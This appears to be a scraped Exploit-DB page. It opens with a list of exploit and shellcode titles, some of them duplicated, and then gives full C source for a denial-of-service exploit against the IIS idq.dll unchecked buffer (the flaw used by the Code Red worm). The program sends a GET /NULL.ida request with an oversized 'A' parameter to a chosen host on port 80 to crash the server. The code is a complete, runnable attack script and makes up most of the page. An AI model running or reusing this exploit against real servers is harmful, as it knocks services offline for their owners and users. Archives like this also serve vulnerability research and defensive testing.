
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
79 lines
No EOL
2.3 KiB
C
79 lines
No EOL
2.3 KiB
C
// source: https://www.securityfocus.com/bid/2880/info
|
|
|
|
Windows Index Server ships with Windows NT 4.0 Option Pack; Windows Indexing Service ships with Windows 2000. An unchecked buffer resides in the 'idq.dll' ISAPI extension associated with each service. A maliciously crafted request could allow arbitrary code to run on the host in the Local System context.
|
|
|
|
Note that Index Server and Indexing Service do not need to be running for an attacker to exploit this issue. Since 'idq.dll' is installed by default when IIS is installed, IIS would need to be the only service running.
|
|
|
|
Note also that this vulnerability is currently being exploited by the 'Code Red' worm. In addition, all products that run affected versions of IIS are also vulnerable.
|
|
|
|
// DoS for isapi idq.dll unchecked buffer.
|
|
// For Testing Pruposes
|
|
// By Ps0 DtMF dot com dot ar
|
|
|
|
#include <stdio.h>
|
|
#include <sys/socket.h>
|
|
#include <sys/types.h>
|
|
#include <netinet/in.h>
|
|
#include <arpa/inet.h>
|
|
#include <netdb.h>
|
|
#include <errno.h>
|
|
|
|
// #define DEBUG
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
char mensaje[800];
|
|
char *bof;
|
|
int fd;
|
|
struct sockaddr_in sin;
|
|
struct hostent *rhost;
|
|
|
|
if(argc<2) {
|
|
fprintf(stderr,"Use : %s host\n",argv[0]);
|
|
exit(0);
|
|
}
|
|
|
|
bzero(mensaje,strlen(mensaje));
|
|
|
|
bof=(char *)malloc(240); // 240 segun eeye , si se le da mas NO anda
|
|
|
|
memset(bof,'A',240);
|
|
|
|
sprintf(mensaje,"GET /NULL.ida?%s=X HTTP/1.0\n\n",bof);
|
|
|
|
|
|
#ifdef DEBUG
|
|
printf("\nMenssage : \n%s\n",mensaje);
|
|
#endif
|
|
|
|
if ((rhost=gethostbyname(argv[1]))==NULL){
|
|
printf("\nCan't find remote host %s \t E:%d\n",argv[1],h_errno);
|
|
return -1;
|
|
}
|
|
|
|
sin.sin_family=AF_INET;
|
|
sin.sin_port=htons(80);
|
|
|
|
memcpy(&sin.sin_addr.s_addr, rhost->h_addr, rhost->h_length);
|
|
|
|
fd = socket(AF_INET,SOCK_STREAM,6);
|
|
|
|
if (connect(fd,(struct sockaddr *)&sin, sizeof(struct sockaddr))!=0){
|
|
printf("\nCan't Connect to The host %s. May be down ? E:%s\n",argv[1],strerror(errno));
|
|
return -1;
|
|
}
|
|
|
|
printf("Sending string........\n");
|
|
|
|
if(send(fd,mensaje,strlen(mensaje),0)==-1){
|
|
printf("\nError \n");
|
|
return -1;
|
|
}
|
|
|
|
printf("\nString Sent... try telnet host 80 to check if IIS is down\n");
|
|
|
|
close(fd);
|
|
|
|
return 0;
|
|
|
|
} |